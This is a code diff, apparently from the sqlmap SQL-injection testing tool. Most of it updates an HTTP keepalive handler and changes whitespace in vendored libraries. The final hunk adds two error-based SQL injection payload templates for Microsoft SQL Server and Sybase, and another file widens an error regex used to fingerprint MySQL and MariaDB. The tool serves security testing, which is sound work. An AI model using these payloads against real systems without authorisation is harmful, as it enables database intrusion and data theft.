@ -236,21 +395,31 @@ class HTTPResponse(httplib.HTTPResponse):
|
||||||
else: # 2.2 doesn't
|
else: # 2.2 doesn't
|
||||||
httplib.HTTPResponse.__init__(self, sock, debuglevel)
|
httplib.HTTPResponse.__init__(self, sock, debuglevel)
|
||||||
self.fileno = sock.fileno
|
self.fileno = sock.fileno
|
||||||
|
self.code = None
|
||||||
self._method = method
|
self._method = method
|
||||||
self._rbuf = ''
|
self._rbuf = b""
|
||||||
self._rbufsize = 8096
|
self._rbufsize = 8096
|
||||||
self._handler = None # inserted by the handler later
|
self._handler = None # inserted by the handler later
|
||||||
self._host = None # (same)
|
self._host = None # (same)
|
||||||
self._url = None # (same)
|
self._url = None # (same)
|
||||||
|
self._connection = None # (same)
|
||||||
|
|
||||||
_raw_read = httplib.HTTPResponse.read
|
_raw_read = httplib.HTTPResponse.read
|
||||||
|
|
||||||
|
def close(self):
|
||||||
|
if self.fp:
|
||||||
|
self.fp.close()
|
||||||
|
self.fp = None
|
||||||
|
if self._handler:
|
||||||
|
self._handler._request_closed(self, self._host,
|
||||||
|
self._connection)
|
||||||
|
|
||||||
def close_connection(self):
|
def close_connection(self):
|
||||||
|
self._handler._remove_connection(self._host, self._connection, close=1)
|
||||||
self.close()
|
self.close()
|
||||||
self._handler._remove_connection(self._host, close=1)
|
|
||||||
|
|
||||||
def info(self):
|
def info(self):
|
||||||
return self.msg
|
return self.headers
|
||||||
|
|
||||||
def geturl(self):
|
def geturl(self):
|
||||||
return self._url
|
return self._url
|
||||||
|
@ -268,11 +437,11 @@ class HTTPResponse(httplib.HTTPResponse):
|
||||||
return s
|
return s
|
||||||
|
|
||||||
s = self._rbuf + self._raw_read(amt)
|
s = self._rbuf + self._raw_read(amt)
|
||||||
self._rbuf = ''
|
self._rbuf = b""
|
||||||
return s
|
return s
|
||||||
|
|
||||||
def readline(self, limit=-1):
|
def readline(self, limit=-1):
|
||||||
data = ""
|
data = b""
|
||||||
i = self._rbuf.find('\n')
|
i = self._rbuf.find('\n')
|
||||||
while i < 0 and not (0 < limit <= len(self._rbuf)):
|
while i < 0 and not (0 < limit <= len(self._rbuf)):
|
||||||
new = self._raw_read(self._rbufsize)
|
new = self._raw_read(self._rbufsize)
|
||||||
|
@ -302,43 +471,9 @@ class HTTPResponse(httplib.HTTPResponse):
|
||||||
class HTTPConnection(httplib.HTTPConnection):
|
class HTTPConnection(httplib.HTTPConnection):
|
||||||
# use the modified response class
|
# use the modified response class
|
||||||
response_class = HTTPResponse
|
response_class = HTTPResponse
|
||||||
_headers = None
|
|
||||||
|
|
||||||
def clearheaders(self):
|
class HTTPSConnection(httplib.HTTPSConnection):
|
||||||
self._headers = {}
|
response_class = HTTPResponse
|
||||||
|
|
||||||
def putheader(self, header, value):
|
|
||||||
"""Send a request header line to the server.
|
|
||||||
|
|
||||||
For example: h.putheader('Accept', 'text/html')
|
|
||||||
"""
|
|
||||||
if self.__state != _CS_REQ_STARTED:
|
|
||||||
raise CannotSendHeader()
|
|
||||||
|
|
||||||
self._headers[header] = value
|
|
||||||
|
|
||||||
def endheaders(self):
|
|
||||||
"""Indicate that the last header line has been sent to the server."""
|
|
||||||
|
|
||||||
if self.__state == _CS_REQ_STARTED:
|
|
||||||
self.__state = _CS_REQ_SENT
|
|
||||||
else:
|
|
||||||
raise CannotSendHeader()
|
|
||||||
|
|
||||||
for header in ('Host', 'Accept-Encoding'):
|
|
||||||
if header in self._headers:
|
|
||||||
str = '%s: %s' % (header, self._headers[header])
|
|
||||||
self._output(str)
|
|
||||||
del self._headers[header]
|
|
||||||
|
|
||||||
for header, value in self._headers.items():
|
|
||||||
str = '%s: %s' % (header, value)
|
|
||||||
self._output(str)
|
|
||||||
|
|
||||||
self._send_output()
|
|
||||||
|
|
||||||
def send(self, str):
|
|
||||||
httplib.HTTPConnection.send(self, unicodeencode(str, kb.pageEncoding))
|
|
||||||
|
|
||||||
#########################################################################
|
#########################################################################
|
||||||
##### TEST FUNCTIONS
|
##### TEST FUNCTIONS
|
||||||
|
@ -367,7 +502,7 @@ def error_handler(url):
|
||||||
print " status = %s, reason = %s" % (status, reason)
|
print " status = %s, reason = %s" % (status, reason)
|
||||||
HANDLE_ERRORS = orig
|
HANDLE_ERRORS = orig
|
||||||
hosts = keepalive_handler.open_connections()
|
hosts = keepalive_handler.open_connections()
|
||||||
print "open connections:", ' '.join(hosts)
|
print "open connections:", hosts
|
||||||
keepalive_handler.close_all()
|
keepalive_handler.close_all()
|
||||||
|
|
||||||
def continuity(url):
|
def continuity(url):
|
||||||
|
@ -422,9 +557,10 @@ def comp(N, url):
|
||||||
print ' improvement factor: %.2f' % (t1/t2, )
|
print ' improvement factor: %.2f' % (t1/t2, )
|
||||||
|
|
||||||
def fetch(N, url, delay=0):
|
def fetch(N, url, delay=0):
|
||||||
|
import time
|
||||||
lens = []
|
lens = []
|
||||||
starttime = time.time()
|
starttime = time.time()
|
||||||
for i in xrange(N):
|
for i in range(N):
|
||||||
if delay and i > 0: time.sleep(delay)
|
if delay and i > 0: time.sleep(delay)
|
||||||
fo = urllib2.urlopen(url)
|
fo = urllib2.urlopen(url)
|
||||||
foo = fo.read()
|
foo = fo.read()
|
||||||
|
@ -440,6 +576,40 @@ def fetch(N, url, delay=0):
|
||||||
|
|
||||||
return diff
|
return diff
|
||||||
|
|
||||||
|
def test_timeout(url):
|
||||||
|
global DEBUG
|
||||||
|
dbbackup = DEBUG
|
||||||
|
class FakeLogger:
|
||||||
|
def debug(self, msg, *args): print msg % args
|
||||||
|
info = warning = error = debug
|
||||||
|
DEBUG = FakeLogger()
|
||||||
|
print " fetching the file to establish a connection"
|
||||||
|
fo = urllib2.urlopen(url)
|
||||||
|
data1 = fo.read()
|
||||||
|
fo.close()
|
||||||
|
|
||||||
|
i = 20
|
||||||
|
print " waiting %i seconds for the server to close the connection" % i
|
||||||
|
while i > 0:
|
||||||
|
sys.stdout.write('\r %2i' % i)
|
||||||
|
sys.stdout.flush()
|
||||||
|
time.sleep(1)
|
||||||
|
i -= 1
|
||||||
|
sys.stderr.write('\r')
|
||||||
|
|
||||||
|
print " fetching the file a second time"
|
||||||
|
fo = urllib2.urlopen(url)
|
||||||
|
data2 = fo.read()
|
||||||
|
fo.close()
|
||||||
|
|
||||||
|
if data1 == data2:
|
||||||
|
print ' data are identical'
|
||||||
|
else:
|
||||||
|
print ' ERROR: DATA DIFFER'
|
||||||
|
|
||||||
|
DEBUG = dbbackup
|
||||||
|
|
||||||
|
|
||||||
def test(url, N=10):
|
def test(url, N=10):
|
||||||
print "checking error hander (do this on a non-200)"
|
print "checking error hander (do this on a non-200)"
|
||||||
try: error_handler(url)
|
try: error_handler(url)
|
||||||
|
@ -452,6 +622,9 @@ def test(url, N=10):
|
||||||
print
|
print
|
||||||
print "performing speed comparison"
|
print "performing speed comparison"
|
||||||
comp(N, url)
|
comp(N, url)
|
||||||
|
print
|
||||||
|
print "performing dropped-connection check"
|
||||||
|
test_timeout(url)
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
import time
|
import time
|
||||||
|
|
12
thirdparty/pydes/pyDes.py
vendored
12
thirdparty/pydes/pyDes.py
vendored
|
@ -59,7 +59,7 @@ pad -> Optional argument. Only when using padmode of PAD_NORMAL. For
|
||||||
bytes of the unencrypted data block.
|
bytes of the unencrypted data block.
|
||||||
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
|
padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL
|
||||||
or PAD_PKCS5). Defaults to PAD_NORMAL.
|
or PAD_PKCS5). Defaults to PAD_NORMAL.
|
||||||
|
|
||||||
|
|
||||||
Example
|
Example
|
||||||
-------
|
-------
|
||||||
|
@ -153,7 +153,7 @@ class _baseDes(object):
|
||||||
def getPadMode(self):
|
def getPadMode(self):
|
||||||
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
"""getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||||
return self._padmode
|
return self._padmode
|
||||||
|
|
||||||
def setPadMode(self, mode):
|
def setPadMode(self, mode):
|
||||||
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
"""Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5"""
|
||||||
self._padmode = mode
|
self._padmode = mode
|
||||||
|
@ -188,7 +188,7 @@ class _baseDes(object):
|
||||||
if not pad:
|
if not pad:
|
||||||
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
|
raise ValueError("Data must be a multiple of " + str(self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.")
|
||||||
data += (self.block_size - (len(data) % self.block_size)) * pad
|
data += (self.block_size - (len(data) % self.block_size)) * pad
|
||||||
|
|
||||||
elif padmode == PAD_PKCS5:
|
elif padmode == PAD_PKCS5:
|
||||||
pad_len = 8 - (len(data) % self.block_size)
|
pad_len = 8 - (len(data) % self.block_size)
|
||||||
if _pythonMajorVersion < 3:
|
if _pythonMajorVersion < 3:
|
||||||
|
@ -454,7 +454,7 @@ class des(_baseDes):
|
||||||
def __permutate(self, table, block):
|
def __permutate(self, table, block):
|
||||||
"""Permutate this block with the specified table"""
|
"""Permutate this block with the specified table"""
|
||||||
return list(map(lambda x: block[x], table))
|
return list(map(lambda x: block[x], table))
|
||||||
|
|
||||||
# Transform the secret key, so that it is ready for data processing
|
# Transform the secret key, so that it is ready for data processing
|
||||||
# Create the 16 subkeys, K[1] - K[16]
|
# Create the 16 subkeys, K[1] - K[16]
|
||||||
def __create_sub_keys(self):
|
def __create_sub_keys(self):
|
||||||
|
@ -554,7 +554,7 @@ class des(_baseDes):
|
||||||
|
|
||||||
i += 1
|
i += 1
|
||||||
iteration += iteration_adjustment
|
iteration += iteration_adjustment
|
||||||
|
|
||||||
# Final permutation of R[16]L[16]
|
# Final permutation of R[16]L[16]
|
||||||
self.final = self.__permutate(des.__fp, self.R + self.L)
|
self.final = self.__permutate(des.__fp, self.R + self.L)
|
||||||
return self.final
|
return self.final
|
||||||
|
@ -597,7 +597,7 @@ class des(_baseDes):
|
||||||
# result.append(dict[data[i:i+8]])
|
# result.append(dict[data[i:i+8]])
|
||||||
# i += 8
|
# i += 8
|
||||||
# continue
|
# continue
|
||||||
|
|
||||||
block = self.__String_to_BitList(data[i:i+8])
|
block = self.__String_to_BitList(data[i:i+8])
|
||||||
|
|
||||||
# Xor with IV if using CBC mode
|
# Xor with IV if using CBC mode
|
||||||
|
|
22
thirdparty/xdot/xdot.py
vendored
22
thirdparty/xdot/xdot.py
vendored
|
@ -522,7 +522,7 @@ class XDotAttrParser:
|
||||||
self.parser = parser
|
self.parser = parser
|
||||||
self.buf = buf
|
self.buf = buf
|
||||||
self.pos = 0
|
self.pos = 0
|
||||||
|
|
||||||
self.pen = Pen()
|
self.pen = Pen()
|
||||||
self.shapes = []
|
self.shapes = []
|
||||||
|
|
||||||
|
@ -616,7 +616,7 @@ class XDotAttrParser:
|
||||||
b = b*s
|
b = b*s
|
||||||
a = 1.0
|
a = 1.0
|
||||||
return r, g, b, a
|
return r, g, b, a
|
||||||
|
|
||||||
sys.stderr.write("warning: unknown color '%s'\n" % c)
|
sys.stderr.write("warning: unknown color '%s'\n" % c)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
@ -691,7 +691,7 @@ class XDotAttrParser:
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
return self.shapes
|
return self.shapes
|
||||||
|
|
||||||
def transform(self, x, y):
|
def transform(self, x, y):
|
||||||
return self.parser.transform(x, y)
|
return self.parser.transform(x, y)
|
||||||
|
|
||||||
|
@ -763,7 +763,7 @@ class ParseError(Exception):
|
||||||
|
|
||||||
def __str__(self):
|
def __str__(self):
|
||||||
return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None])
|
return ':'.join([str(part) for part in (self.filename, self.line, self.col, self.msg) if part != None])
|
||||||
|
|
||||||
|
|
||||||
class Scanner:
|
class Scanner:
|
||||||
"""Stateless scanner."""
|
"""Stateless scanner."""
|
||||||
|
@ -1007,7 +1007,7 @@ class DotLexer(Lexer):
|
||||||
text = text.replace('\\\r\n', '')
|
text = text.replace('\\\r\n', '')
|
||||||
text = text.replace('\\\r', '')
|
text = text.replace('\\\r', '')
|
||||||
text = text.replace('\\\n', '')
|
text = text.replace('\\\n', '')
|
||||||
|
|
||||||
# quotes
|
# quotes
|
||||||
text = text.replace('\\"', '"')
|
text = text.replace('\\"', '"')
|
||||||
|
|
||||||
|
@ -1151,7 +1151,7 @@ class XDotParser(DotParser):
|
||||||
def __init__(self, xdotcode):
|
def __init__(self, xdotcode):
|
||||||
lexer = DotLexer(buf = xdotcode)
|
lexer = DotLexer(buf = xdotcode)
|
||||||
DotParser.__init__(self, lexer)
|
DotParser.__init__(self, lexer)
|
||||||
|
|
||||||
self.nodes = []
|
self.nodes = []
|
||||||
self.edges = []
|
self.edges = []
|
||||||
self.shapes = []
|
self.shapes = []
|
||||||
|
@ -1188,7 +1188,7 @@ class XDotParser(DotParser):
|
||||||
self.height = max(ymax - ymin, 1)
|
self.height = max(ymax - ymin, 1)
|
||||||
|
|
||||||
self.top_graph = False
|
self.top_graph = False
|
||||||
|
|
||||||
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
|
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
|
||||||
if attr in attrs:
|
if attr in attrs:
|
||||||
parser = XDotAttrParser(self, attrs[attr])
|
parser = XDotAttrParser(self, attrs[attr])
|
||||||
|
@ -1219,7 +1219,7 @@ class XDotParser(DotParser):
|
||||||
pos = attrs['pos']
|
pos = attrs['pos']
|
||||||
except KeyError:
|
except KeyError:
|
||||||
return
|
return
|
||||||
|
|
||||||
points = self.parse_edge_pos(pos)
|
points = self.parse_edge_pos(pos)
|
||||||
shapes = []
|
shapes = []
|
||||||
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
|
for attr in ("_draw_", "_ldraw_", "_hdraw_", "_tdraw_", "_hldraw_", "_tldraw_"):
|
||||||
|
@ -1987,7 +1987,7 @@ class DotWindow(gtk.Window):
|
||||||
if not entry_text:
|
if not entry_text:
|
||||||
dot_widget.set_highlight(None)
|
dot_widget.set_highlight(None)
|
||||||
return
|
return
|
||||||
|
|
||||||
found_items = self.find_text(entry_text)
|
found_items = self.find_text(entry_text)
|
||||||
dot_widget.set_highlight(found_items)
|
dot_widget.set_highlight(found_items)
|
||||||
|
|
||||||
|
@ -1997,7 +1997,7 @@ class DotWindow(gtk.Window):
|
||||||
if not entry_text:
|
if not entry_text:
|
||||||
dot_widget.set_highlight(None)
|
dot_widget.set_highlight(None)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
found_items = self.find_text(entry_text)
|
found_items = self.find_text(entry_text)
|
||||||
dot_widget.set_highlight(found_items)
|
dot_widget.set_highlight(found_items)
|
||||||
if(len(found_items) == 1):
|
if(len(found_items) == 1):
|
||||||
|
@ -2015,7 +2015,7 @@ class DotWindow(gtk.Window):
|
||||||
if self.widget.set_xdotcode(xdotcode):
|
if self.widget.set_xdotcode(xdotcode):
|
||||||
self.update_title(filename)
|
self.update_title(filename)
|
||||||
self.widget.zoom_to_fit()
|
self.widget.zoom_to_fit()
|
||||||
|
|
||||||
def update_title(self, filename=None):
|
def update_title(self, filename=None):
|
||||||
if filename is None:
|
if filename is None:
|
||||||
self.set_title(self.base_title)
|
self.set_title(self.base_title)
|
||||||
|
|
|
@ -7,7 +7,7 @@
|
||||||
<error regexp="Warning.*mysql_.*"/>
|
<error regexp="Warning.*mysql_.*"/>
|
||||||
<error regexp="MySqlException \(0x"/>
|
<error regexp="MySqlException \(0x"/>
|
||||||
<error regexp="valid MySQL result"/>
|
<error regexp="valid MySQL result"/>
|
||||||
<error regexp="check the manual that corresponds to your MySQL server version"/>
|
<error regexp="check the manual that corresponds to your (MySQL|MariaDB) server version"/>
|
||||||
<error regexp="MySqlClient\."/>
|
<error regexp="MySqlClient\."/>
|
||||||
<error regexp="com\.mysql\.jdbc\.exceptions"/>
|
<error regexp="com\.mysql\.jdbc\.exceptions"/>
|
||||||
</dbms>
|
</dbms>
|
||||||
|
|
|
@ -388,6 +388,48 @@
|
||||||
</details>
|
</details>
|
||||||
</test>
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (CONCAT)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>2</level>
|
||||||
|
<risk>1</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>1</where>
|
||||||
|
<vector>AND [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>AND [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
<os>Windows</os>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
|
<test>
|
||||||
|
<title>Microsoft SQL Server/Sybase OR error-based - WHERE or HAVING clause (CONCAT)</title>
|
||||||
|
<stype>2</stype>
|
||||||
|
<level>3</level>
|
||||||
|
<risk>3</risk>
|
||||||
|
<clause>1,9</clause>
|
||||||
|
<where>2</where>
|
||||||
|
<vector>OR [RANDNUM]=CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]')</vector>
|
||||||
|
<request>
|
||||||
|
<payload>OR [RANDNUM]=CONCAT('[DELIMITER_START]',(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN '1' ELSE '0' END)),'[DELIMITER_STOP]')</payload>
|
||||||
|
</request>
|
||||||
|
<response>
|
||||||
|
<grep>[DELIMITER_START](?P<result>.*?)[DELIMITER_STOP]</grep>
|
||||||
|
</response>
|
||||||
|
<details>
|
||||||
|
<dbms>Microsoft SQL Server</dbms>
|
||||||
|
<dbms>Sybase</dbms>
|
||||||
|
<os>Windows</os>
|
||||||
|
</details>
|
||||||
|
</test>
|
||||||
|
|
||||||
<test>
|
<test>
|
||||||
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
|
<title>Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)</title>
|
||||||
<stype>2</stype>
|
<stype>2</stype>
|
||||||
|
|
Loading…
Reference in New Issue
Block a user